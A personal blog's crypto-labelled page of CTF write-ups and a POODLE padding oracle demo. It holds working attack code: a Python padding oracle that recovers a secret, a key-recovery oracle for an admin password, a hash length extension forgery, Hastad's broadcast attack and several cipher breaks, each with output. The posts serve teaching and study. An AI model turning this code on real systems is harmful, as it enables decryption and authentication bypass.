Showing posts with label Crypto. Show all posts
Showing posts with label Crypto. Show all posts

Monday, December 22, 2014

The Padding Oracle in POODLE

This is a code which I wrote sometime back to demonstrate the padding oracle in POODLE vulnerability. Full details of the issue is explained in this original advisory This POODLE Bites: Exploiting The SSL 3.0 Fallback.

Client.encrypt depicts the client side encryption of attacker controlled data including the secret, Server.decrypt depicts the server decryption replying True of False for valid or invalid padding after modification by attacker. Attacker will act as man-in-the-middle
#!/usr/bin/python

import os
import struct
from Crypto.Cipher import AES
from Crypto.Hash import HMAC
from Crypto.Hash import SHA

ENCRYPT_KEY = ('0'*64).decode('hex')
SECRET = 'Y0u_Just_Pul1eD_Off_th3_P00DLE'
HMAC_SECRET = ''
BLOCK_SIZE  = 16
HMAC_SIZE   = 20

class Helper:

    @staticmethod
    def lsb(string): return ord(string[-1]) 

    @staticmethod
    def append_padding(string):
        strlen = len(string)
        # find the size of padding needed
        padlen = BLOCK_SIZE-(strlen % BLOCK_SIZE) - 1
        # last byte indicates the size of padding and rest of bytes are random
        return os.urandom(padlen) + chr(padlen)

    @staticmethod
    def remove_padding(string):
        # fetch last byte indicating padding
        padlen = Helper.lsb(string)
        # remove N padding bytes
        return string[:-(padlen+1)]

    @staticmethod
    def compute_mac(string):
        # 20 byte mac
        mac = HMAC.new(HMAC_SECRET, msg=None, digestmod=SHA)
        mac.update(string)
        return mac.digest()

class Client:

    # client secret to retrieve using POODLE 
    secret = SECRET

    @staticmethod
    def encrypt(prefix = "", suffix = ""):
        # attacker controlled prefix and suffix
        client  = prefix + Client.secret + suffix
        # compute mac for client data
        client += Helper.compute_mac(client)
        # padding added after mac calculation
        client += Helper.append_padding(client)
        IV = os.urandom(16)
        # AES encrypt
        aes = AES.new(ENCRYPT_KEY, AES.MODE_CBC, IV)
        return IV + aes.encrypt(client)

class Server:

    @staticmethod
    def decrypt(string):
        try:
            IV = string[:BLOCK_SIZE]
            aes = AES.new(ENCRYPT_KEY, AES.MODE_CBC, IV)
            # decrypt
            server = aes.decrypt(string[BLOCK_SIZE:])
            # remove padding
            server = Helper.remove_padding(server)
            # fetch plain text
            plain = server[:-HMAC_SIZE]
            # fetch mac 
            mac = server[-HMAC_SIZE:]
            # check if received mac equals computed mac
            if mac == Helper.compute_mac(plain): return True
            else: return False
        except: return False 

class Attacker:

    @staticmethod
    def getsecretsize():
        # set reference length for boundary check
        baselen = len(Client.encrypt())
        for s in range(1, BLOCK_SIZE+1):
            prefix = chr(0x42) * s
            trial  = len(Client.encrypt(prefix))
            # check if the block boundary is crossed
            if trial > baselen: break
        return baselen - BLOCK_SIZE - HMAC_SIZE - s 

    @staticmethod
    def paddingoracle():
        secret = ""
        # find length of secret
        secretlength  = Attacker.getsecretsize()
        # for each unknown byte in secret
        for c in range(1, secretlength+1):
            trial = 0
            # bruteforce until valid padding
            while True:
                # align prefix such that first unknown byte is the last byte of a block
                prefix = chr(0x42) * (BLOCK_SIZE - (c % BLOCK_SIZE))
                # align to block size boundary by padding suffix
                suffix = chr(0x43) * (BLOCK_SIZE - (len(prefix) + secretlength + HMAC_SIZE) % BLOCK_SIZE)
                # intercept and get client request
                clientreq = Client.encrypt(prefix, suffix)
                # remove padding bytes
                clientreq = clientreq[:-BLOCK_SIZE]
                blockindex = c/BLOCK_SIZE
                # fetch the hash block
                hashblock = clientreq[-BLOCK_SIZE:] 
                # block to decrypt
                currblock = clientreq[BLOCK_SIZE*(blockindex+1):BLOCK_SIZE*(blockindex+2)]
                # block previous to decryption block
                prevblock = clientreq[BLOCK_SIZE*blockindex: BLOCK_SIZE*(blockindex+1)]
                # prepare payload
                payload = clientreq + currblock
                trial += 1
                # send modified request to server and check server response
                if Server.decrypt(payload):
                    # on valid padding
                    s = chr(0xf ^ Helper.lsb(prevblock) ^ Helper.lsb(hashblock))
                    secret += s
                    print "Byte[%02d] = %s recovered in %04d tries = %s"%(c,s,trial,secret) 
                    break

        return secret

Calling the Attacker.paddingoracle will retrieve the secret using padding oracle attack.
renorobert@ubuntu:~$ python Poodle.py 
Byte[01] = Y recovered in 0245 tries = Y
Byte[02] = 0 recovered in 0645 tries = Y0
Byte[03] = u recovered in 0029 tries = Y0u
Byte[04] = _ recovered in 0182 tries = Y0u_
Byte[05] = J recovered in 0077 tries = Y0u_J
Byte[06] = u recovered in 0042 tries = Y0u_Ju
Byte[07] = s recovered in 0304 tries = Y0u_Jus
Byte[08] = t recovered in 0302 tries = Y0u_Just
Byte[09] = _ recovered in 0554 tries = Y0u_Just_
Byte[10] = P recovered in 0108 tries = Y0u_Just_P
Byte[11] = u recovered in 0012 tries = Y0u_Just_Pu
Byte[12] = l recovered in 0043 tries = Y0u_Just_Pul
Byte[13] = 1 recovered in 0101 tries = Y0u_Just_Pul1
Byte[14] = e recovered in 0086 tries = Y0u_Just_Pul1e
Byte[15] = D recovered in 0007 tries = Y0u_Just_Pul1eD
Byte[16] = _ recovered in 0376 tries = Y0u_Just_Pul1eD_
Byte[17] = O recovered in 0290 tries = Y0u_Just_Pul1eD_O
Byte[18] = f recovered in 0071 tries = Y0u_Just_Pul1eD_Of
Byte[19] = f recovered in 0238 tries = Y0u_Just_Pul1eD_Off
Byte[20] = _ recovered in 0067 tries = Y0u_Just_Pul1eD_Off_
Byte[21] = t recovered in 0433 tries = Y0u_Just_Pul1eD_Off_t
Byte[22] = h recovered in 0097 tries = Y0u_Just_Pul1eD_Off_th
Byte[23] = 3 recovered in 0216 tries = Y0u_Just_Pul1eD_Off_th3
Byte[24] = _ recovered in 0029 tries = Y0u_Just_Pul1eD_Off_th3_
Byte[25] = P recovered in 0661 tries = Y0u_Just_Pul1eD_Off_th3_P
Byte[26] = 0 recovered in 0917 tries = Y0u_Just_Pul1eD_Off_th3_P0
Byte[27] = 0 recovered in 0067 tries = Y0u_Just_Pul1eD_Off_th3_P00
Byte[28] = D recovered in 0180 tries = Y0u_Just_Pul1eD_Off_th3_P00D
Byte[29] = L recovered in 0018 tries = Y0u_Just_Pul1eD_Off_th3_P00DL
Byte[30] = E recovered in 0127 tries = Y0u_Just_Pul1eD_Off_th3_P00DLE
Y0u_Just_Pul1eD_Off_th3_P00DLE

Friday, October 24, 2014

ECTF 2014 - SEDDIT - Exploit 400

Played ECTF with some of friends in Team BADSECTOR. Exploit 400 was a Linux 64-bit ELF protected with NX, partial RELRO and canary. There was buffer overflows everywhere as the __isoc99_scanf() function called now and then, reads data without any bound check. But the issue was stack canaries, its random everytime we make a connection. So bruteforce was not possible. There was information leak available in MakePost option, by setting the PostType to Link Only.
.text:0000000000400E88 mov     eax, offset aD  ; "%d"
.text:0000000000400E8D lea     rdx, [rbp+PostType]
.text:0000000000400E91 mov     rsi, rdx
.text:0000000000400E94 mov     rdi, rax
.text:0000000000400E97 mov     eax, 0
.text:0000000000400E9C call    ___isoc99_scanf
.text:0000000000400EA1 mov     eax, [rbp+PostType]
.text:0000000000400EA4 test    eax, eax
.text:0000000000400EA6 jz      short LinkOnly

.text:0000000000400F35 lea     rdx, [rbp+ContentBuffer]
.text:0000000000400F39 mov     rsi, rdx
.text:0000000000400F3C mov     rdi, rax        ; format
.text:0000000000400F3F mov     eax, 0
.text:0000000000400F44 call    _printf
Using this uninitialized contents of ContentBuffer could be leaked. But NUL bytes in stack would prevent us from leaking much of the useful info easily. I spent lot of time working along this path.

Lets see what the program actually does:

[*] CreateAccount option - Supply username and salt, DES encryption is done on the username using the supplied salt and a secret key from key file. This encrypted username is the password
[*] Login option - Supply the username and DES generated password. Also there is separate login for admin which will give us the flag
[*] MakePost - We saw this earlier
[*] Exit

CreateAccount option was interesting. It reads username into stack and salt into .bss buffer. Since GOT is located in lower address than .bss due to partial RELRO, we cannot overflow into GOT. Again, getting RCE looked difficult.

After this I analyzed the Encrypt() function at 0x0400A04. It does the following:

[*] Opens key file
[*] Checks the length of user supplied salt. If len(salt) < 7, pad with a till len(salt) == 7
[*] Then it copies salt into stack at [RBP-0x20] and finds the index of NUL byte in salt
[*] This index is used as pointer into buffer in stack to read() 7 bytes of data from key file
[*] Then NULL is moved to [RBP-0x12]
[*] So total length of password string could be maximum of 14 bytes

So the issue with this mechanism is, we could control the number of bytes from key file to be used for encryption. Say I supply a 13 byte salt [Only a max of 7 byte salt is expected but we can overflow], only a single byte in key file would be used for encryption process because the maximum size of salt+key == 14.

For admin login, 64 byte salt memory is cleared. Then 7 byte pad of a is added and 7 byte key is concatenated to compute the password. If we could find the contents of key file, we could find the admin password.

To find the contents of key file, we can use the remote service as oracle. Supply 7 different length of salt values say 13, 12, 11, 10, 9, 8 and 7 [aaaaaaaaaaaaa, aaaaaaaaaaaa, aaaaaaaaaaa, aaaaaaaaaa, aaaaaaaaa, aaaaaaaa, aaaaaaa] . Also keep the username fixed. For each of this pair, the remote service will generate a password. This 7 values could be used to retrieve the key.

The idea is
[*] For salt of 13 byte, bruteforce the last byte to get the single byte used from key file. Now 1 byte of key is recovered
[*] Next use 12 byte of salt. With first byte of key already found, we could bruteforce a single 2nd byte of key

This way all 7 bytes of key could be recovered to compute the admin password. Below is the full code to do this:
#include <stdio.h>
#include <openssl/des.h>
#include <string.h>
#include <stdlib.h>

#define SALTLEN 7

/* gcc -o key key.c -l crypto */

/* Init passwords for overwritten salts */
char *password[] = 
{
    [0] = "50f88e127e97a38f", /* 13 byte salt */
    [1] = "b6960556480cff35", /* 12 byte salt */
    [2] = "6ce9ca9639f4c447", /* 11 byte salt */
    [3] = "bfa81cd3767d5c16", /* 10 byte salt */
    [4] = "7267b04756b63414", /* 09 byte salt */
    [5] = "aedb1eed82da7235", /* 08 byte salt */
    [6] = "d4f895d88b1a6d18", /* 07 byte salt */
};

char key[] = "aaaaaaaaaaaaaa";
unsigned char username[8] = "AAAAAAAA";
unsigned char admin[8] = "admin\x00\x00\x00"; /* PAD for 8 bytes */
int keysize = sizeof(key);

int main(int argc, char **argv)
{
    unsigned char output[8];
    DES_cblock key_block;
    DES_key_schedule key_schedule;
    char encbuffer[20];
    unsigned char key_byte;
    int salt_counter = 0;
    int index = 0;

    for(key_byte = 0; key_byte < 255; key_byte++)
    {
        key[keysize-2] = key_byte;  /* bruteforce last byte */
        DES_string_to_key(key, &key_block);
        DES_set_key(&key_block, &key_schedule);
        DES_ecb_encrypt(&username, &output, &key_schedule, DES_ENCRYPT);

        for(index = 0; index < 8; index++)
        {
            sprintf(&encbuffer[index*2], "%02x", output[index]);
        }

        if(strcmp(encbuffer, password[salt_counter]) == 0)
        {
            printf("Password [%s] = 0x%x\n", password[salt_counter], key_byte);
            salt_counter++;
            if (salt_counter == SALTLEN) break; 
            key_byte = 0; /* reset loop */
 
            /* update key */
            for(index = 0; index < keysize-2; index++)
            {
                key[index] = key[index+1];
            }       
        }
    }
    printf("Key = %s\n", key);

    /* Find admin password */
    DES_string_to_key(key, &key_block);
    DES_set_key(&key_block, &key_schedule);
    DES_ecb_encrypt(&admin, &output, &key_schedule, DES_ENCRYPT);

    for(index = 0; index < 8; index++)
    {
        sprintf(&encbuffer[index*2], "%02x", output[index]);
    }

    printf("Password = %s\n", encbuffer);
    return 0;
}
renorobert@ubuntu:/host/ECTF$ ./key
Password [50f88e127e97a38f] = 0x68
Password [b6960556480cff35] = 0x69
Password [6ce9ca9639f4c447] = 0x67
Password [bfa81cd3767d5c16] = 0x68
Password [7267b04756b63414] = 0x73
Password [aedb1eed82da7235] = 0x65
Password [d4f895d88b1a6d18] = 0x63
Key = aaaaaaahighsec
Password = 94140f8339377477
The content of the key file is highsec and flag for the challenge is flag{Encryption_is_Not_a_silver_bullet}

Wednesday, March 5, 2014

Boston Key Party CTF 2014 - Door 1 - Crypto 500 - [Team SegFault]

Description:
You need to open door no 5 in a secret facility. We have been trying to brute-force the door without success. One of our agents was able to infiltrate the control room and take a picture. The server is known to use some kind of problematic random number generator for the authentication. Open the door. The service is accessible on 54.186.6.201:8901, good luck with your mission. UPDATE/HINT: LFSR.

We were given an image file with some info, showing the challenge and response communication.
To start with, it was my friend who asked me to look into this problem and said, the challenge received might be seed for LFSR and output sequence might be the expected reply. Lets see.

[*] The challenge received is a 4 byte value. If it has to be seed for LFSR, then the LFSR should have 32 registers to deal with 4 bytes
[*] The screen capture shows a big number which might be a possible output sequence

Below is the number:
0xe4ca194f7b2ab2b3fbe705c
This is how the bitstream looked like:
11100100110010100001100101001111011110110010101010110010101100111111101111100111000001011100
With 92 bits of output sequence in hand and a possible 32 register LFSR, we can find the LFSR feedback function by feeding the Berlekamp-Massey algorithm with 64 bits(2 * length of LFSR) of the output sequnce.

The feedback function found is:
1 + x + x^4 + x^5 + x^6 + x^16 + x^19 + x^31 + x^32
The degree of the polynomial is 32, which supports the possible length of LFSR being 32.

Now, if the sequence 0xe4ca194f7b2ab2b3fbe705c can be generated using the above function and seed 0xf2985327, then we are on right track.
#!/usr/bin/env python

chall = 0xf2985327
seed = [int(i) for i in bin(chall)[2:]]  
# x + x^4 + x^5 + x^6 + x^16 + x^19 + x^31 + x^32 + 1
feedback_function = [1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1]

output = ''
for i in range(96):
    feedback = 0
    output += str(seed[-1])
    for i in range(len(seed)):
        feedback = (seed[i] * feedback_function[i] + feedback) % 2
    seed = [feedback] + seed[:-1]
 
print hex(int(output,2))
[ctf@renorobert BKP]$ python cry500.py
0xe4ca194f7b2ab2b3fbe705ccL
The generated output sequence is equal to the one in the screen capture, so we got the LFSR design right!
Now the amount of bits to be sent as response should be bruteforced. I incremented byte by byte from 96 bits, but soon I was told in IRC that 296 bits is all thats needed. Sending a 296 bits reply gave us the flag.
0x8d3c22ea
0x57443cb1e7daf6a45be190d11d3a1b4902633133d62d5900fd134c3caa91d5c233342fce62
response
> Door open: n0t_s0_r4nd0m_029210
Flag for the challenge is n0t_s0_r4nd0m_029210

Saturday, January 18, 2014

Hack You CTF 2014 - Crypto 400 - CRYPTONET - [Team SegFault]

Challenge description says about use of strange protocol using RSA cryptosystem. We also have access to the client source code and a pcap file. Reading the code we could see that, client receives n and e value from remote system. This value is used to encrypt the message before sending it. The protocol has following format
Receive:
[2 bytes specifying the size zlib compressed e value][zlib compressed e value] [2 bytes specifying the size zlib compressed n value][zlib compressed e value]
Send:
[2 bytes specifying the size zlib compressed m^e mod n] [zlib compressed m^e mod n]
Analyzing the pcap file we could see that client has communicated with some 19 remote machines. First we must extract the values of e and n for all the communication. Initially I checked if those n values are having some common prime, but all the gcd checks ended up as relatively prime. e value was small, 17. Further reading on use of low public exponent took me to Hastad's Broadcast Attack. Code to solve the challenge using Hastad's Broadcast Attack is below:
#!/usr/bin/env python

from scapy.all import *
from sage.all import *
import zlib
import struct

PA = 24L
packets = rdpcap('packets.pcap')
client = '192.168.1.5'
size = 2 # size of e and n is packed into 2 bytes
list_n = []
list_m = []

for packet in packets:
    if packet[TCP].flags == PA:
       if packet.dst == client:
           src = packet[IP].src
           raw_data = packet[TCP].load

           size_e = struct.unpack('!H', raw_data[:size])[0] 
           e = int(zlib.decompress(raw_data[size: size + size_e]))

           size_n = struct.unpack('!H', raw_data[size + size_e: 2 * size + size_e])[0]
           n = int(zlib.decompress(raw_data[2 * size + size_e: ]))
           list_n.append(n)

        if packet[IP].src == client:
            raw_data = packet[TCP].load
            size_m = struct.unpack('!H', raw_data[:size])[0]
            m = int(zlib.decompress(raw_data[size: size + size_m]))
            list_m.append(m)

e_17 = crt(list_m, list_n)
factors = prime_factors(e_17)
enc_message = 1
for num in factors:
    enc_message *= num

print hex(enc_message).decode('hex')
# 'Secret message! CTF{336b2196a2932c399c0340bc41cd362d}\n'
Flag for the challenge is CTF{336b2196a2932c399c0340bc41cd362d}

Hack You CTF 2014 - Crypto 300 - Matrix - [Team SegFault]

We were given source code of encryptor and an encrypted file flag.wmv.out. The encryption algorithm performs the following operation

[*] Generates a 4x4 matrix as key using randint() function. An secret password is used as seed, which we dont know
[*] File is padded with NUL such that size(file) % 16 == 0
[*] Each 16 bytes of file is converted to 4x4 matrix and multiplied with key
[*] Each element of resultant 4x4 matrix is packed into 2 bytes of data and written to file

First we should find the key to perform decryption. The file extension leaves a clue wmv. Using wmv header as known plain text and encrypted header as cipher text, the key could be found as wmv_header.inverse() * enc_header. Once the key found, we have to write decryption routine such that encrypted file is processed in blocks for 32 bytes in a 4x4 matrix. Below is the code to solve this
#!/usr/bin/env python

from sage.all import *
import struct

wmv_header = [[0x30, 0x26, 0xB2, 0x75], [0x8E, 0x66, 0xCF, 0x11], [0xA6, 0xD9, 0x00, 0xAA], [0x00, 0x62, 0xCE, 0x6C]]

def Str2matrix(s):
    #convert string to 4x4 matrix
    return [map(lambda x : ord(x), list(s[i:i+4])) for i in xrange(0, len(s), 4)]
def Matrix2str(m):
    #convert matrix to string
    return ''.join(map(lambda x : ''.join(map(lambda y : struct.pack('!B', y), x)), m))
def PackedStr2matrix(s):
    matrix = [0] * 16 
    for i in range(0, len(s), 2):
        matrix[i/2] = struct.unpack('!H', s[i:i+2])[0]
    matrix = [matrix[i:i+4] for i in range(0,len(matrix), 4)]
    return matrix
def Multiply(A,B):
    #multiply two 4x4 matrix
    C = [[0 for i in xrange(4)] for j in xrange(4)]
    for i in xrange(4):
        for j in xrange(4):
            for k in xrange(4):
                C[i][j] += A[i][k] * B[k][j]
    return C
        
header =  matrix(wmv_header)
encrypted_wmv = open('flag.wmv.out','rb').read()
size = struct.unpack('!I', encrypted_wmv[:4])
enc_header = encrypted_wmv[4:36]
enc_header = matrix(PackedStr2matrix(enc_header))

# sage: header = matrix([[48, 38, 178, 117], [142, 102, 207, 17], [166, 217, 0, 170], [0, 98, 206, 108]])
# sage: enc_header = matrix([[6025, 10758, 8274, 14059], [10718, 11769, 5025, 15260], [19537, 18796, 14142, 15035], [7648, 8842, 7254, 17852]])
# sage: header.inverse() * enc_header
# [31 51 20  0]
# [53 10  6 45]
# [ 3 13  3 49]
# [17 48 56 31]
# sage: key.inverse()
# [  5732/2519421  96221/5038842 -41017/2519421 -10009/5038842]
# [ 65399/2519421 -67381/5038842  44957/2519421 -44311/5038842]
# [-49681/2519421  22679/5038842 -51064/2519421 128507/5038842]
# [-14660/2519421  10597/5038842  45127/2519421   4501/5038842]

key = header.inverse() * enc_header
key_inverse = key.inverse()

out = open('flag.wmv','wb')
encrypted_wmv = encrypted_wmv[4:]

for i in xrange(0, len(encrypted_wmv), 32):
    unpacked_data = matrix(PackedStr2matrix(encrypted_wmv[i:i+32]))
    decrypted = unpacked_data * key_inverse
    out.write(Matrix2str(decrypted))
out.close()

# CTF{b699a72e2692d16f65ec9626055aa740}
We get a decrypted wmv file which has the flag.
root@sagepc:~ $file flag.wmv
flag.wmv: Microsoft ASF
Flag for the challenege is CTF{b699a72e2692d16f65ec9626055aa740}

Hack You CTF 2014 - Crypto 200 - Hashme - [Team SegFault]

We have access to the source code of a remote service which allows users to register and login.

Register:
[*] Everytime a new login is created, hash of string SALT+login={username}&role=anonymous is computed
[*] Computed hash is appended to login={username}&role=anonymous, encrypted with a key using xor and then encoded using base64
[*] The generated base64 string is our certificate for login

Login:
[*] The user provided certificate is base64 decoded and decrypted using xor
[*] Hash of SALT+login={username}&role=anonymous is computed and checked with the user supplied hash. If it matches, then login is provided
[*] Administrator gets access to flag file

We have to find a way to get administrator access by forging the request. Ok, first we have to find the key used in the remote machine. This can be done by registering a user with long username
client sends: username as "A"*1000 # login={username}&role=anonymous is our known plain text
server sends: XOR(login={username}&role=anonymous + HASH) # cipher text
Using the plain text - cipher text combination, the KEY can be found.
Now we have to find a way to compute valid hash without knowing the SALT. Thanks to my friend who pointed me out the Hash Length Extension attack. The final 32 byte of hash comes from A,B,C and D of used hash algorithm
A = 0x67452301
B = 0xEFCDAB89
C = 0x98BADCFE
D = 0x10325476
X = [int(0xFFFFFFFF * sin(i)) & 0xFFFFFFFF for i in xrange(256)]

for i,ch in enumerate(s):
    k, l = ord(ch), i & 0x1f
    A = (B + ROL(A + F(B,C,D) + X[k], l)) & 0xFFFFFFFF
    B = (C + ROL(B + G(C,D,A) + X[k], l)) & 0xFFFFFFFF
    C = (D + ROL(C + H(D,A,B) + X[k], l)) & 0xFFFFFFFF
    D = (A + ROL(D + I(A,B,C) + X[k], l)) & 0xFFFFFFFF

return ''.join(map(lambda x : hex(x)[2:].strip('L').rjust(8, '0'), [B, A, D, C]))
We can use the HASH(login={username}&role=anonymous) sent by remote service as initial values, then compute the hash values of newly appended string without knowing the SALT. But one value we need to know is the length of SALT. This can be easily bruteforced.
Below is the code for checking login and administrator.
if hashme(SALT + auth_str) == hashsum:  
    data = parse_qs(auth_str, strict_parsing = True)
    print '[+] Welcome, %s!' % data['login'][0]
    if 'administrator' in data['role']:
    flag = open('flag.txt').readline()
    print flag
We need a craft a input as login={username}&role=anonymous&role=administrator so that parse_qs() sets data['role'] to ['anonymous','administrator'] and if 'administrator' in data['role'] is passed. Finally, find the valid hash value for string login={username}&role=anonymous&role=administrator to get the flag. Below is the code used
#!/usr/bin/env python

import base64
from math import sin

def hashme(length, s, state):
    # my secure hash function
    def F(X,Y,Z):
        return ((~X & Z) | (~X & Z)) & 0xFFFFFFFF
    def G(X,Y,Z):
        return ((X & Z) | (~Z & Y)) & 0xFFFFFFFF
    def H(X,Y,Z):
        return (X ^ Y ^ Y) & 0xFFFFFFFF
    def I(X,Y,Z):
        return (Y ^ (~Z | X)) & 0xFFFFFFFF
    def ROL(X,Y):
        return (X << Y | X >> (32 - Y)) & 0xFFFFFFFF

    #A = 0x67452301
    #B = 0xEFCDAB89
    #C = 0x98BADCFE
    #D = 0x10325476
    B = int(hash[:8],16)
    A = int(hash[8:16],16)
    D = int(hash[16:24],16)
    C = int(hash[24:],16)

    X = [int(0xFFFFFFFF * sin(i)) & 0xFFFFFFFF for i in xrange(256)]

    for i,ch in enumerate(s):
        k, l = ord(ch), (i+length) & 0x1f
        A = (B + ROL(A + F(B,C,D) + X[k], l)) & 0xFFFFFFFF
        B = (C + ROL(B + G(C,D,A) + X[k], l)) & 0xFFFFFFFF
        C = (D + ROL(C + H(D,A,B) + X[k], l)) & 0xFFFFFFFF
        D = (A + ROL(D + I(A,B,C) + X[k], l)) & 0xFFFFFFFF

    return ''.join(map(lambda x : hex(x)[2:].strip('L').rjust(8, '0'), [B, A, D, C]))



login = "A"*1000 
user_data = 'login=%s&role=anonymous' % login

encoded_user_data = "RK5yZMJaRRl8LVBk5mx9xmVfPhXWqPlNObWPakmd6mpMs0qh6p9KVhBr0hqGJCE9tKRpgFRM7SZFGXwtUGTmbH3GZV8+Fdao+U05tY9qSZ3qakyzSqHqn0pWEGvSGoYkIT20pGmAVEztJkUZfC1QZOZsfcZlXz4V1qj5TTm1j2pJnepqTLNKoeqfSlYQa9IahiQhPbSkaYBUTO0mRRl8LVBk5mx9xmVfPhXWqPlNObWPakmd6mpMs0qh6p9KVhBr0hqGJCE9tKRpgFRM7SZFGXwtUGTmbH3GZV8+Fdao+U05tY9qSZ3qakyzSqHqn0pWEGvSGoYkIT20pGmAVEztJkUZfC1QZOZsfcZlXz4V1qj5TTm1j2pJnepqTLNKoeqfSlYQa9IahiQhPbSkaYBUTO0mRRl8LVBk5mx9xmVfPhXWqPlNObWPakmd6mpMs0qh6p9KVhBr0hqGJCE9tKRpgFRM7SZFGXwtUGTmbH3GZV8+Fdao+U05tY9qSZ3qakyzSqHqn0pWEGvSGoYkIT20pGmAVEztJkUZfC1QZOZsfcZlXz4V1qj5TTm1j2pJnepqTLNKoeqfSlYQa9IahiQhPbSkaYBUTO0mRRl8LVBk5mx9xmVfPhXWqPlNObWPakmd6mpMs0qh6p9KVhBr0hqGJCE9tKRpgFRM7SZFGXwtUGTmbH3GZV8+Fdao+U05tY9qSZ3qakyzSqHqn0pWEGvSGoYkIT20pGmAVEztJkUZfC1QZOZsfcZlXz4V1qj5TTm1j2pJnepqTLNKoeqfSlYQa9IahiQhPbSkaYBUTO0mRRl8LVBk5mx9xmVfPhXWqPlNObWPakmd6mpMs0qh6p9KVhBr0hqGJCE9tKRpgFRM7SZFGXwtUGTmbH3GZV8+Fdao+U05tY9qSZ3qakyzSqHqn0pWEGvSGoYkIT20pGmAVEztJkUZfC1QZOZsfcZlXz4V1qj5TTm1j2pJnepqTLNKoeqfSlYQa9IahiQhPbSkaYBUTO0mRRl8LVBk5mx9xmVfPhXWqPlNObWPakmd6mpMs0qh6p9KVhBr0hqGJCE9tKRpgFRM7SZFGXwtUGTmbH3GZV8+Fdao+U05tY9qSZ3qakyzSqHqn0pWEGvSGoYkIT20pGmAVEztJkUZfC1QZOZsfcZlXz4V1qj5TTm1j2pJnepqTLNKoeqfSlYQa9IahiQhPbSkaYBUTO0mRRl8LVBk5mx9xmVfPhXWqPlNObWPakmd6mpMs0qh6p9KVhBr0hqGJCE9tKRpgFRM7SZFGXwtUGTmbH3GZV8+Fdao+U05tY9qSZ3qakyzSqHqn0pWEGvSGoYkIT20pGmAVEztJiIqUgB0GMZDU+ldcxAh5N2LaUrM/hIw788YPMU42cruOSc3SaRv/lVRTMODTfQl" 

decoded_user_data = base64.b64decode(encoded_user_data)

key = []
for i in range(len(user_data)):
    key.append(ord(decoded_user_data[i]) ^ ord(user_data[i])) 
key = key[:50]  # sizeof key is 50 bytes

# key
# [40, 193, 21, 13, 172, 103, 4, 88, 61, 108, 17, 37, 167, 45, 60, 135, 36, 30, 127, 84, 151, 233, 184, 12, 120, 244, 206, 43, 8, 220, 171, 43, 13, # 242, 11, 224, 171, 222, 11, 23, 81, 42, 147, 91, 199, 101, 96, 124, 245, 229]

login = "A"
user_data = 'login=%s&role=anonymous' % login
encoded_user_data = "RK5yZMJaRX5PA31AmkxS6EpnEjvimo81G82rT2q5n0k9ym/Tme47IDcT92z2UVJOxNEe+CE5"
decoded_user_data = base64.b64decode(encoded_user_data)

decrypted_data = ''

for i in range(len(decoded_user_data)):
    decrypted_data += chr(ord(decoded_user_data[i]) ^ key[i % len(key)])

target = "&role=administrator"
hash = decrypted_data[-32:]

length_of_salt = 0
length_of_user_data = len(user_data)

for length_of_salt in range(1,30):
    forged_hash = hashme(length_of_salt + length_of_user_data, target, hash)
    string_to_enc = user_data + target + forged_hash
    enc_payload = ''

    for i in range(len(string_to_enc)):
        enc_payload += chr(ord(string_to_enc[i]) ^ key[i % len(key)])

    print "%d : %s" % (length_of_salt, base64.b64encode(enc_payload))
We get successful login and flag, when length of SALT is 20 bytes.
RK5yZMJaRX5PA31AmkxS6EpnEjvimp5+F5irFmm4xkJjm3iU2b9/eCNM8TimAFcdwYca8CU8nQI8OVxbdRefTgzjFi0bMaPejw==
[+] Welcome, A!
CTF{40712b12d4be002e20f51424309a068c}

Hack You CTF 2014 - Crypto 100 - Easy One - [Team SegFault]

Source file of the encryption algorithm was given. Also, we have plain text and cipher text combination for one message
 FILE* input  = fopen(argv[1], "rb");
 FILE* output = fopen(argv[2], "wb");
 char k[] = "CENSORED";
 char c, p, t = 0;
 int i = 0;
 while ((p = fgetc(input)) != EOF) {
     c = (p + (k[i % strlen(k)] ^ t) + i*i) & 0xff;
     t = p;
     i++;
     fputc(c, output);
 }
Find the key:

[*] Algorithm coverts one byte of plain text to one byte of cipher text using equation of the form c = (p + (k[i % len(k)] ^ t) + i*i) mod 256
[*] Using the plain text - cipher text combination, the equation can be written as k[i] = ((c[i] - (i*i) - p[i]) ^ t) & 0xff to find the key. Here c,i,p and t are known values

The key used is VeryLongKeyYouWillNeverGuess. Once the key is found, the decryption algorithm is straight forward. Below is the code
#!/usr/bin/env python

plain_text = open('msg001','r').read().strip()
cipher_text = open('msg001.enc','r').read().strip()

plain_text = [ord(i) for i in plain_text]
cipher_text = [ord(i) for i in cipher_text]

t = 0
key = ''

for i in range(len(plain_text)):
    c = ((cipher_text[i] - (i*i) - plain_text[i]) ^ t) & 0xff
    key += chr(c)
    t = plain_text[i]
#print key

cipher_text = open('msg002.enc','r').read().strip()
key = 'VeryLongKeyYouWillNeverGuess'

key= [ord(i) for i in key]
cipher_text = [ord(i) for i in cipher_text]

t = 0
plain = ''

for i in range(len(cipher_text)):
    c = (cipher_text[i] - (key[i % len(key)] ^ t) - i*i) & 0xff
    plain += chr(c)
    t = c
print plain
Flag for the challenge is CTF{6d5eba48508efb13dc87220879306619}

Tuesday, November 19, 2013

CSCAMP CTF Quals 2013 - Crypto 400 - [Team SegFault]

We were given two files for the challenge - public key and encrypted message. Reading the public key with openssl we got
[ctf@renorobert 400]$ openssl rsa -in public.pem -pubin -text -noout 
Public-Key: (768 bit)
Modulus:
    00:ca:d9:84:55:7c:97:e0:39:43:1a:22:6a:d7:27:
    f0:c6:d4:3e:f3:d4:18:46:9f:1b:37:50:49:b2:29:
    84:3e:e9:f8:3b:1f:97:73:8a:c2:74:f5:f6:1f:40:
    1f:21:f1:91:3e:4b:64:bb:31:b5:5a:38:d3:98:c0:
    df:ed:00:b1:39:2f:08:89:71:1c:44:b3:59:e7:97:
    6c:61:7f:cc:73:4f:06:e3:e9:5c:26:47:60:91:b5:
    2f:46:2e:79:41:3d:b5
Exponent: 65537 (0x10001)
[ctf@renorobert 400]$ openssl rsa -in public.pem -pubin -text -noout | grep '^ ' | tr -dc '[0-9a-f]'
00cad984557c97e039431a226ad727f0c6d43ef3d418469f1b375049b229843ee9f83b1f97738ac274f5f61f401f21f1913e4b64bb31b55a38d398c0dfed00b1392f0889711c44b359e7976c617fcc734f06e3e95c26476091b52f462e79413db5
Its a RSA-768 and the N value is already factorized. Factors are available publicly
p = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489
q = 36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917
